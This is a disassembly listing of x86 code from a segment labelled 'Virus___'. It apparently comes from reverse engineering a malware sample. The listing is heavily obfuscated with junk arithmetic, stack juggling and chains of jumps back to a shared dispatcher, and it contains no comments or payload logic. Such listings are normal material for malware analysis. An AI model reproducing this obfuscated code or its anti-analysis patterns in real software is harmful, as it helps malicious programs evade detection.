loc_580506:				; CODE XREF: Virus___:00580F22j
		add	dl, ah
		mov	ax, [esp]
		add	esp, 2
		mov	al, dl
		mov	edx, [esp]
		add	esp, 4
		or	al, 3Fh
		add	al, 89h
		neg	al
		and	al, 29h
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ch, 37h
		push	ebx
		mov	bh, 0ADh
		jmp	loc_58A29A
; ---------------------------------------------------------------------------


loc_580536:				; CODE XREF: Virus___:005850B9j
		pop	ecx
		mov	ecx, esi
		pop	esi
		jmp	loc_5875BF
; ---------------------------------------------------------------------------


loc_58053F:				; CODE XREF: Virus___:00583E25j
		push	eax
		mov	eax, 4
		push	ecx
		mov	ecx, 7495FB3h
		sub	edi, 2C3D5360h
		jmp	loc_58BE55
; ---------------------------------------------------------------------------


loc_580556:				; CODE XREF: Virus___:0058728Fj
		add	esp, 4
		sub	eax, esi
		pop	esi
		jmp	loc_586FF2
; ---------------------------------------------------------------------------


loc_580561:				; CODE XREF: Virus___:0058CA75j
		mov	edi, 66942800h
		jmp	loc_58F53C
; ---------------------------------------------------------------------------


loc_58056B:				; CODE XREF: Virus___:00593E9Fj
		mov	edx, 27CD72F9h
		mov	esi, 27CD72FDh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 7749797Fh
		add	ebx, 16854B3Ah
		add	ebx, 0B65069B5h
		add	edi, ebx
		pop	ebx
		add	edi, esi
		sub	edi, 441F2E6Eh
		jmp	loc_58BBDE
; ---------------------------------------------------------------------------


loc_5805A2:				; CODE XREF: Virus___:0058B8B9j
		push	eax
		mov	eax, esp
		jmp	loc_591A7F
; ---------------------------------------------------------------------------


loc_5805AA:				; CODE XREF: Virus___:00581C5Aj
		and	ebx, 3E3E239Bh
		add	ebx, 0F5C5FEEBh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5805DC:				; CODE XREF: Virus___:0058A984j
		add	eax, edi
		jmp	loc_5875EE
; ---------------------------------------------------------------------------


loc_5805E3:				; CODE XREF: Virus___:00587223j
		pop	ebx
		sub	edx, 41ED2B36h
		jmp	loc_59390A
; ---------------------------------------------------------------------------


loc_5805EF:				; CODE XREF: Virus___:00583DE4j
		sub	cl, 64h
		push	bx
		jmp	loc_5901A7
; ---------------------------------------------------------------------------


loc_5805F9:				; CODE XREF: Virus___:0058135Fj
		push	71D1h
		mov	[esp], edi
		jmp	loc_5862B0
; ---------------------------------------------------------------------------


loc_580606:				; CODE XREF: Virus___:00587488j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5EF75684h
		sub	ecx, 24CE626Fh
		inc	ecx
		jmp	loc_587C42
; ---------------------------------------------------------------------------


loc_580628:				; CODE XREF: Virus___:00591F6Dj
		sub	edi, 306E364Bh
		add	edi, 0AC56246h
		sub	edi, edx
		sub	edi, 0AC56246h
		add	edi, 306E364Bh
		mov	edx, [esp]
		jmp	loc_58908C
; ---------------------------------------------------------------------------


loc_58064A:				; CODE XREF: Virus___:00585A4Dj
		sub	edx, esi
		jmp	loc_586D2B
; ---------------------------------------------------------------------------


loc_580651:				; CODE XREF: Virus___:00588E3Dj
		xor	ebp, eax
		jmp	loc_581ACE
; ---------------------------------------------------------------------------


loc_580658:				; CODE XREF: Virus___:00582EB8j
		add	esp, 4
		jmp	loc_58FC1F
; ---------------------------------------------------------------------------


loc_580660:				; CODE XREF: Virus___:0058A43Aj
		add	esi, 4
		jmp	loc_58BA9B
; ---------------------------------------------------------------------------


loc_58066B:				; CODE XREF: Virus___:00592265j
		xor	edx, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58067A:				; CODE XREF: Virus___:00592E2Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_582009
; ---------------------------------------------------------------------------


loc_580689:				; CODE XREF: Virus___:00587465j
		push	ecx
		mov	ecx, 4FA07C42h
		sub	eax, ecx
		jmp	loc_5822A2
; ---------------------------------------------------------------------------


loc_580696:				; CODE XREF: Virus___:00592DFFj
		add	al, 0Bh
		sub	dl, al
		jmp	loc_58379E
; ---------------------------------------------------------------------------


loc_58069F:				; CODE XREF: Virus___:0058691Fj
		shr	ebx, 8
		not	ebx
		add	ebx, 5FB39Ah
		jmp	loc_5823EA
; ---------------------------------------------------------------------------


loc_5806AF:				; CODE XREF: Virus___:00591887j
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		not	eax
		add	eax, 54F4DFFEh
		jmp	loc_587787
; ---------------------------------------------------------------------------


loc_5806C6:				; CODE XREF: Virus___:0057FB63j
		add	al, 0ACh
		add	al, 2Eh
		mov	edx, [esp]
		jmp	loc_591F72
; ---------------------------------------------------------------------------


loc_5806D2:				; CODE XREF: Virus___:00585C3Cj
		add	ebx, 2F126E4Fh
		jmp	loc_580AA1
; ---------------------------------------------------------------------------


loc_5806DD:				; CODE XREF: Virus___:00585470j
		mov	ecx, 6D61133Ah
		jmp	loc_58E20C
; ---------------------------------------------------------------------------


loc_5806E7:				; CODE XREF: Virus___:00592B0Aj
		mov	dh, 0EAh
		shr	dh, 7
		and	dh, 3Bh
		xor	dh, 0F9h
		jmp	loc_58FECF
; ---------------------------------------------------------------------------


loc_5806F7:				; CODE XREF: Virus___:0058217Dj
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_593D71
; ---------------------------------------------------------------------------


loc_580703:				; CODE XREF: Virus___:0058E0D1j
		sub	edi, 3F2E7606h
		jmp	loc_58ED42
; ---------------------------------------------------------------------------


loc_58070E:				; CODE XREF: Virus___:0058BE7Dj
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		not	edx
		dec	edx
		dec	edx
		xor	edx, 450E5DA4h
		add	esi, edx
		jmp	loc_588981
; ---------------------------------------------------------------------------


loc_58072E:				; CODE XREF: Virus___:00585D37j
		xor	eax, ebp
		jmp	loc_592903
; ---------------------------------------------------------------------------


loc_580735:				; CODE XREF: Virus___:0058CBA2j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	12F5h
		mov	[esp], edi
		push	0D1Ah
		push	6BDDh
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_58A520
; ---------------------------------------------------------------------------


loc_580762:				; CODE XREF: Virus___:0058BB4Aj
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	2324h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_592FF7
; ---------------------------------------------------------------------------


loc_58077E:				; CODE XREF: Virus___:0058C03Cj
		pop	ecx
		jmp	loc_58528A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------
		lodsd
		push	4CCFh
		mov	[esp], esi
		push	edx
		mov	edx, 43274FCh
		mov	esi, edx
		pop	edx
		add	eax, 70CE38D7h
		sub	eax, esi
		push	esi
		mov	esi, 7F891B51h
		xor	esi, 69001AF8h
		inc	esi
		xor	esi, 61951A77h
		and	esi, 2E455338h
		sub	esi, 4E3D4F7Ah
		xor	esi, 0A708FB49h
		jmp	loc_58D85B
; ---------------------------------------------------------------------------


loc_5807D7:				; CODE XREF: Virus___:0058266Aj
		mov	ebx, 380840ADh
		neg	ebx
		jmp	loc_589327
; ---------------------------------------------------------------------------


loc_5807E3:				; CODE XREF: Virus___:0058FEE5j
		mov	ebp, esp
		push	ebx
		mov	ebx, 0F6C50E7h
		xor	ebx, 327A367Dh
		shl	ebx, 2
		sub	ebx, 3E054FE7h
		shl	ebx, 5
		shl	ebx, 8
		jmp	loc_586392
; ---------------------------------------------------------------------------


loc_580805:				; CODE XREF: Virus___:0058F6A9j
		mov	ecx, 1560BA86h
		xor	esi, ecx
		jmp	loc_58569E
; ---------------------------------------------------------------------------


loc_580811:				; CODE XREF: Virus___:005900C3j
		mov	[esp], edi
		not	dword ptr [esp]
		jmp	loc_588E92
; ---------------------------------------------------------------------------


loc_58081C:				; CODE XREF: Virus___:0058DF2Cj
		xor	esi, 0A935D50h
		add	ebp, esi
		pop	esi
		mov	edi, [esp]
		jmp	loc_591396
; ---------------------------------------------------------------------------


loc_58082D:				; CODE XREF: Virus___:0058A21Bj
		pop	ecx
		sub	ebx, 2F126E4Fh
		jmp	loc_585C3A
; ---------------------------------------------------------------------------


loc_580839:				; CODE XREF: Virus___:0058227Dj
		push	esp
		jmp	loc_58C9E5
; ---------------------------------------------------------------------------


loc_58083F:				; CODE XREF: Virus___:00582D33j
		add	esp, 4
		add	eax, 71145B03h
		sub	eax, 450B52CEh
		add	eax, edx
		add	eax, 450B52CEh
		sub	eax, 71145B03h
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_58C1D4
; ---------------------------------------------------------------------------


loc_580865:				; CODE XREF: Virus___:0058835Fj
		mov	dl, ch
		push	ecx
		push	eax
		mov	ah, dl
		mov	ch, ah
		pop	eax
		mov	bh, ch
		jmp	loc_58476D
; ---------------------------------------------------------------------------


loc_580875:				; CODE XREF: Virus___:0058265Ej
		add	ebx, ebp
		sub	ebx, 19201A89h
		jmp	loc_583B0F
; ---------------------------------------------------------------------------


loc_580882:				; CODE XREF: Virus___:00592A7Fj
		sub	edx, 10A06025h
		mov	edi, edx
		jmp	loc_58CED7
; ---------------------------------------------------------------------------


loc_58088F:				; CODE XREF: Virus___:0058AF6Dj
		add	dword ptr [eax], 1
		mov	eax, [esp]
		jmp	loc_5936EE
; ---------------------------------------------------------------------------


loc_58089D:				; CODE XREF: Virus___:0058D988j
		or	ecx, ecx
		jz	loc_58BA8B
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	ebx
		mov	ebx, 4FDB268Dh
		sub	[esp+8], ebx
		jmp	loc_58CCB5
; ---------------------------------------------------------------------------


loc_5808CC:				; CODE XREF: Virus___:0058F8B9j
		add	esi, 1
		xor	esi, 3D674106h
		add	esi, 0FA55E526h
		mov	ecx, esi
		pop	esi
		jmp	loc_587C92
; ---------------------------------------------------------------------------


loc_5808E3:				; CODE XREF: Virus___:0058BF84j
		push	eax
		mov	ah, bh
		push	ebx
		mov	bh, ah
		push	edx
		mov	dl, bh
		mov	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		pop	ebx
		xor	al, ch
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_580F0D
; ---------------------------------------------------------------------------


loc_58090D:				; CODE XREF: Virus___:00581D34j
		shr	ebx, 5
		shr	ebx, 6
		push	eax
		mov	eax, 366D1EDFh
		jmp	loc_594542
; ---------------------------------------------------------------------------


loc_58091E:				; CODE XREF: Virus___:0058D5D7j
		push	4
		pop	edx
		jmp	loc_580B0D
; ---------------------------------------------------------------------------


loc_580929:				; CODE XREF: Virus___:0058F435j
		add	edi, 4
		jmp	loc_58B522
; ---------------------------------------------------------------------------


loc_580931:				; CODE XREF: Virus___:00585D87j
		pop	edx
		pop	esi
		jmp	loc_582669
; ---------------------------------------------------------------------------


loc_580938:				; CODE XREF: Virus___:005833BBj
		push	edx
		push	eax
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_593A3D
; ---------------------------------------------------------------------------


loc_58094E:				; CODE XREF: Virus___:0058229Dj
		xor	ecx, 0A50F9A41h
		jmp	loc_589603
; ---------------------------------------------------------------------------


loc_580959:				; CODE XREF: Virus___:0058FE43j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	0CE5h
		mov	[esp], ecx
		mov	ecx, 6DCB4F9Dh
		mov	esi, ecx
		pop	ecx
		and	esi, 50B217BAh
		sub	esi, 4D4B2D24h
		jmp	loc_593832
; ---------------------------------------------------------------------------


loc_580981:				; CODE XREF: Virus___:00589D54j
		mov	di, 3472h
		and	di, 66ECh
		add	di, 3BE6h
		mov	ax, di
		mov	edi, [esp]
		add	esp, 4
		not	ax
		push	dx
		mov	dx, 3A6Bh
		jmp	loc_5823B0
; ---------------------------------------------------------------------------


loc_5809A9:				; CODE XREF: Virus___:0058E18Dj
		add	esp, 4
		pop	edx
		jmp	loc_57F7BD
; ---------------------------------------------------------------------------


loc_5809B5:				; CODE XREF: Virus___:00588A56j
		mov	eax, esp
		jmp	loc_582AB7
; ---------------------------------------------------------------------------


loc_5809BC:				; CODE XREF: Virus___:0058DEA5j
		push	esi
		mov	esi, 558C372Ch
		sub	edx, esi
		pop	esi
		xor	edx, 4FE9484Eh
		shl	edx, 6
		shl	edx, 2
		push	eax
		mov	eax, 4C69547Dh
		sub	eax, 0A7D36351h
		sub	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		push	eax
		mov	eax, 64310C6Eh
		not	eax
		xor	eax, 451276Ah
		push	edx
		mov	edx, 164A03D2h
		add	edx, 0B4BCD35Fh
		xor	eax, edx
		jmp	loc_586367
; ---------------------------------------------------------------------------


loc_580A02:				; CODE XREF: Virus___:00586590j
		push	6EAEh
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 722D277Ah
		jmp	loc_58C9C3
; ---------------------------------------------------------------------------


loc_580A1F:				; CODE XREF: Virus___:0058D39Cj
		mov	[esp], edi
		mov	edi, eax
		push	ebp
		mov	ebp, esp
		jmp	loc_5891FF
; ---------------------------------------------------------------------------


loc_580A2C:				; CODE XREF: Virus___:0058D010j
		and	al, cl
		mov	cx, [esp]
		push	edi
		jmp	loc_58C484
; ---------------------------------------------------------------------------


loc_580A38:				; CODE XREF: Virus___:00590D69j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		add	edi, eax
		jmp	loc_590005
; ---------------------------------------------------------------------------


loc_580A44:				; CODE XREF: Virus___:0058C7CDj
		mov	esp, [esp]
		push	4B48h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_58A715
; ---------------------------------------------------------------------------


loc_580A65:				; CODE XREF: Virus___:00590E97j
		dec	esi
		not	esi
		neg	esi
		sub	esi, 1
		sub	esi, 0EF6A27Ah
		jmp	loc_581ECE
; ---------------------------------------------------------------------------


loc_580A7B:				; CODE XREF: Virus___:00587C19j
		push	ecx
		push	eax
		mov	eax, 20430D45h
		jmp	loc_58E144
; ---------------------------------------------------------------------------


loc_580A87:				; CODE XREF: Virus___:00583940j
		sub	ebx, 4A075B39h
		add	ebx, eax
		add	ebx, 4A075B39h
		jmp	loc_5865B2
; ---------------------------------------------------------------------------


loc_580A9A:				; CODE XREF: Virus___:0058B9E1j
		sub	eax, ecx
		jmp	loc_5825EF
; ---------------------------------------------------------------------------


loc_580AA1:				; CODE XREF: Virus___:005806D8j
		push	eax
		mov	eax, 4C5334EBh
		add	ebx, eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		jmp	loc_586CE4
; ---------------------------------------------------------------------------


loc_580AC9:				; CODE XREF: Virus___:00588DEDj
		xor	edi, eax
		pop	eax
		push	6F63h
		mov	[esp], edx
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		pop	edi
		jmp	loc_588042
; ---------------------------------------------------------------------------


loc_580ADF:				; CODE XREF: Virus___:0058E8E2j
		pop	edi
		add	esp, 4
		jmp	loc_58BEB8
; ---------------------------------------------------------------------------


loc_580AEB:				; CODE XREF: Virus___:005912A3j
		add	eax, 628E5ABFh
		jmp	loc_583054
; ---------------------------------------------------------------------------


loc_580AF5:				; CODE XREF: Virus___:005921A1j
		mov	ch, bh
		mov	ah, ch
		jmp	loc_586BC1
; ---------------------------------------------------------------------------


loc_580AFE:				; CODE XREF: Virus___:0058C09Cj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_580B03:				; CODE XREF: Virus___:0058877Cj
		add	eax, 2701637Bh
		jmp	loc_591D91
; ---------------------------------------------------------------------------


loc_580B0D:				; CODE XREF: Virus___:00580924j
		push	ecx
		mov	ecx, 204D6128h
		sub	edi, 3C6A4D7Eh
		sub	edi, ecx
		add	edi, 3C6A4D7Eh
		pop	ecx
		sub	edi, 633C1E5Ah
		jmp	loc_58C4BE
; ---------------------------------------------------------------------------


loc_580B2D:				; CODE XREF: Virus___:005876C2j
		shr	ecx, 7
		jmp	loc_57F752
; ---------------------------------------------------------------------------


loc_580B35:				; CODE XREF: Virus___:00589868j
		mov	cl, dl
		pop	edx
		pop	ebx
		sub	bl, 16h
		add	bl, cl
		add	bl, 16h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	bl, al
		push	ecx
		jmp	loc_5844D1
; ---------------------------------------------------------------------------


loc_580B50:				; CODE XREF: Virus___:0058300Cj
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 53C132F6h
		push	edx
		push	esi
		jmp	loc_592CCA
; ---------------------------------------------------------------------------


loc_580B64:				; CODE XREF: Virus___:00590D0Cj
		shr	ebp, 2
		not	ebp
		inc	ebp
		add	ebp, 1285E0Fh
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58C11F
; ---------------------------------------------------------------------------


loc_580B80:				; CODE XREF: Virus___:0058BC3Aj
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	0E25h
		mov	[esp], edi
		push	0AF7h
		mov	[esp], eax
		push	ebp
		push	eax
		jmp	loc_588807
; ---------------------------------------------------------------------------


loc_580BA1:				; CODE XREF: Virus___:00591772j
		sub	[esp+4], esi
		pop	esi
		pop	edx
		add	edx, 209169D6h
		push	edx
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		pop	esi
		sub	edi, 25F524AEh
		sub	edi, ecx
		jmp	loc_5863C8
; ---------------------------------------------------------------------------


loc_580BC3:				; CODE XREF: Virus___:005905B1j
		mov	[esp], ecx
		mov	ecx, 4F332F38h
		push	ebp
		mov	ebp, 50606E0Ah
		jmp	loc_5921D9
; ---------------------------------------------------------------------------


loc_580BD6:				; CODE XREF: Virus___:005852FAj
		add	edx, 50722215h
		jmp	loc_58220D
; ---------------------------------------------------------------------------


loc_580BE1:				; CODE XREF: Virus___:00581F2Cj
		push	edx
		push	9Dh
		mov	[esp], ebx
		jmp	loc_58798D
; ---------------------------------------------------------------------------


loc_580BEF:				; CODE XREF: Virus___:0059235Fj
		xor	ecx, 5312306h
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_58C4F8
; ---------------------------------------------------------------------------


loc_580BFF:				; CODE XREF: Virus___:0058EE5Dj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_587FF8
; ---------------------------------------------------------------------------


loc_580C0B:				; CODE XREF: Virus___:00588635j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_586C28
; ---------------------------------------------------------------------------


loc_580C1A:				; CODE XREF: Virus___:00592373j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5935FA
; ---------------------------------------------------------------------------


loc_580C2B:				; CODE XREF: Virus___:0058ABD4j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		jmp	loc_58AD49
; ---------------------------------------------------------------------------


loc_580C3A:				; CODE XREF: Virus___:00587F80j
		sub	esp, 4
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, ebp
		not	ebx
		jmp	loc_589EB5
; ---------------------------------------------------------------------------


loc_580C58:				; CODE XREF: Virus___:005814B5j
		pop	eax
		pop	ecx
		jmp	loc_58CB75
; ---------------------------------------------------------------------------


loc_580C5F:				; CODE XREF: Virus___:005888B2j
		add	ecx, 24CB11FEh
		jmp	loc_586D63
; ---------------------------------------------------------------------------


loc_580C6A:				; CODE XREF: Virus___:00589ED2j
		push	esp
		pop	eax
		push	ebp
		jmp	loc_58D12A
; ---------------------------------------------------------------------------


loc_580C72:				; CODE XREF: Virus___:00583A37j
		sub	edi, 4FA25360h
		pop	ebp
		shl	edi, 2
		sub	edi, 1
		not	edi
		shr	edi, 1
		add	edi, 3F494E15h
		push	ebx
		mov	ebx, 98B4528Ah
		add	edi, ebx
		pop	ebx
		jmp	loc_58D5DC
; ---------------------------------------------------------------------------


loc_580C9A:				; CODE XREF: Virus___:00592503j
		mov	[esp], ebx
		push	edx
		push	ebx
		mov	ebx, 19970092h
		xor	ebx, 55992976h
		xor	ebx, 492510BFh
		and	ebx, 4F7543C7h
		neg	ebx
		shl	ebx, 2
		add	ebx, 3D2E45B4h
		mov	edx, ebx
		pop	ebx
		sub	edx, 28AA40A4h
		jmp	loc_581665
; ---------------------------------------------------------------------------


loc_580CCF:				; CODE XREF: Virus___:0059222Aj
		mov	[esp], esp
		jmp	loc_57F725
; ---------------------------------------------------------------------------


loc_580CD7:				; CODE XREF: Virus___:00587E8Fj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_592FBF
; ---------------------------------------------------------------------------


loc_580CE8:				; CODE XREF: Virus___:0058D2A5j
		mov	ebp, 47DC56D0h
		jmp	loc_58944E
; ---------------------------------------------------------------------------


loc_580CF2:				; CODE XREF: Virus___:00593BEFj
		shr	ecx, 3
		and	ecx, 65D83A3Bh
		shl	ecx, 4
		push	eax
		push	edi
		mov	edi, 502B0830h
		shl	edi, 1
		shr	edi, 5
		xor	edi, 7365AF6Fh
		mov	eax, edi
		pop	edi
		shl	eax, 6
		add	eax, 53222h
		jmp	loc_5824BE
; ---------------------------------------------------------------------------


loc_580D20:				; CODE XREF: Virus___:00593B14j
		push	dx
		push	eax
		mov	ah, 0Bh
		jmp	loc_5814F0
; ---------------------------------------------------------------------------


loc_580D2A:				; CODE XREF: Virus___:00587F18j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_58005A
; ---------------------------------------------------------------------------


loc_580D3D:				; CODE XREF: Virus___:005800CDj
		mov	edx, esp
		jmp	loc_585613
; ---------------------------------------------------------------------------


loc_580D44:				; CODE XREF: Virus___:00586933j
		pop	ebx
		shr	edi, 2
		jmp	loc_589654
; ---------------------------------------------------------------------------


loc_580D4D:				; CODE XREF: Virus___:00582E06j
		dec	bh
		jmp	loc_587092
; ---------------------------------------------------------------------------


loc_580D54:				; CODE XREF: Virus___:0058D018j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_581F3C
; ---------------------------------------------------------------------------


loc_580D6B:				; CODE XREF: Virus___:00591491j
		pop	dword ptr [esp]
		pop	esp
		push	small 77CCh
		mov	[esp], bx
		push	edx
		mov	dl, 58h
		or	dl, 8Ch
		dec	dl
		jmp	loc_593825
; ---------------------------------------------------------------------------


loc_580D84:				; CODE XREF: Virus___:00593C6Bj
		pop	eax
		jmp	loc_582B02
; ---------------------------------------------------------------------------


loc_580D8A:				; CODE XREF: Virus___:00582143j
		sub	esp, 4
		mov	[esp], ebp
		push	5E9Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_585E92
; ---------------------------------------------------------------------------


loc_580DAE:				; CODE XREF: Virus___:0058E1C6j
		not	ecx
		add	ecx, 1
		push	ebp
		mov	ebp, 7E54071h
		jmp	loc_58A024
; ---------------------------------------------------------------------------


loc_580DC1:				; CODE XREF: Virus___:0058005Ej
		mov	eax, 652E4863h
		sub	esp, 4
		jmp	loc_584076
; ---------------------------------------------------------------------------


loc_580DCE:				; CODE XREF: Virus___:00588114j
		add	ebx, 47FE742Bh
		sub	ebx, 0FA83992h
		push	edx
		push	0
		mov	edx, [esp]
		jmp	loc_5837CF
; ---------------------------------------------------------------------------


loc_580DE8:				; CODE XREF: Virus___:00591FF0j
		add	dh, 1
		sub	dh, 8Fh
		sub	dh, 0F0h
		push	eax
		mov	al, 89h
		neg	al
		sub	al, 0B9h
		jmp	loc_588D8B
; ---------------------------------------------------------------------------


loc_580DFD:				; CODE XREF: Virus___:00589D40j
		push	edx
		mov	edx, 67E51004h
		mov	esi, edx
		pop	edx
		neg	esi
		push	ecx
		mov	ecx, 3CE52519h
		sub	esi, ecx
		pop	ecx
		xor	esi, 49BE5093h
		add	esi, 49CECBAFh
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_58AEB8
; ---------------------------------------------------------------------------


loc_580E27:				; CODE XREF: Virus___:0057F5D1j
		push	ecx
		mov	ecx, 9127B26h
		sub	esp, 4
		jmp	loc_591134
; ---------------------------------------------------------------------------


loc_580E35:				; CODE XREF: Virus___:0058F731j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_581B49
; ---------------------------------------------------------------------------


loc_580E40:				; CODE XREF: Virus___:0058B52Fj
		push	ebx
		mov	bl, 42h
		xor	cl, bl
		pop	ebx
		add	al, cl
		pop	ecx
		add	al, dl
		sub	al, 55h
		pop	edx
		jmp	loc_584CBE
; ---------------------------------------------------------------------------


loc_580E53:				; CODE XREF: Virus___:00594385j
		pop	esp
		mov	ax, [esp]
		push	6F81h
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_580E62:				; CODE XREF: Virus___:00585FEBj
		pop	edx
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_58D0D4
; ---------------------------------------------------------------------------


loc_580E73:				; CODE XREF: Virus___:0057FE83j
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_593BB5
; ---------------------------------------------------------------------------


loc_580E81:				; CODE XREF: Virus___:005861EAj
		mov	ebx, 708BDFCAh
		xor	esi, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5845C3
; ---------------------------------------------------------------------------


loc_580E93:				; CODE XREF: Virus___:00593F58j
		push	0E2Ah
		mov	[esp], ebx
		push	esi
		push	669C4B28h
		pop	esi
		xor	esi, 669C4B34h
		jmp	loc_5938A4
; ---------------------------------------------------------------------------


loc_580EAD:				; CODE XREF: Virus___:0058882Cj
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2FE32DEEh
		dec	eax
		not	eax
		jmp	loc_58AC9D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_583945
; ---------------------------------------------------------------------------


loc_580ED0:				; CODE XREF: Virus___:0058BCF7j
		and	eax, 1BE30F5h
		jmp	loc_58D1CD
; ---------------------------------------------------------------------------


loc_580EDA:				; CODE XREF: Virus___:0058C5A0j
		not	dword ptr [esp]
		pop	ebx
		inc	ebx
		sub	ebx, 8AB08EA5h
		push	ebx
		xor	dword ptr [esp], 5DB87F1Dh
		mov	ecx, [esp]
		jmp	loc_58A3A6
; ---------------------------------------------------------------------------


loc_580EF5:				; CODE XREF: Virus___:00590F89j
		push	ebp
		mov	ebp, 52C07168h
		jmp	loc_589E9F
; ---------------------------------------------------------------------------


loc_580F00:				; CODE XREF: Virus___:0058B946j
		pop	esp
		add	esp, 4
		add	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_580F0D:				; CODE XREF: Virus___:00580908j
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_58FCB8
; ---------------------------------------------------------------------------


loc_580F1E:				; CODE XREF: Virus___:0058A087j
		push	ax
		mov	ah, 80h
		jmp	loc_580506
; ---------------------------------------------------------------------------


loc_580F27:				; CODE XREF: Virus___:0058A1C9j
		push	19DC6E1Dh
		jmp	loc_592AAA
; ---------------------------------------------------------------------------


loc_580F31:				; CODE XREF: Virus___:00586330j
		dec	eax
		inc	eax
		sub	eax, 19F0CED8h
		add	ebp, 3A97741Eh
		jmp	loc_588E10
; ---------------------------------------------------------------------------


loc_580F43:				; CODE XREF: Virus___:00586F7Bj
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_588265
; ---------------------------------------------------------------------------


loc_580F54:				; CODE XREF: Virus___:0059384Dj
		pop	edx
		pop	ebp
		and	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57FF10
; ---------------------------------------------------------------------------


loc_580F63:				; CODE XREF: Virus___:0058679Dj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5873F4
; ---------------------------------------------------------------------------


loc_580F76:				; CODE XREF: Virus___:0058AD84j
		mov	eax, edx
		pop	edx
		push	0
		sub	[esp], eax
		pop	eax
		shl	eax, 1
		not	eax
		inc	eax
		jmp	loc_584014
; ---------------------------------------------------------------------------


loc_580F8C:				; CODE XREF: Virus___:00585776j
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_58FB8C
; ---------------------------------------------------------------------------


loc_580F99:				; CODE XREF: Virus___:0058F00Fj
		push	ebx
		jmp	loc_587BF8
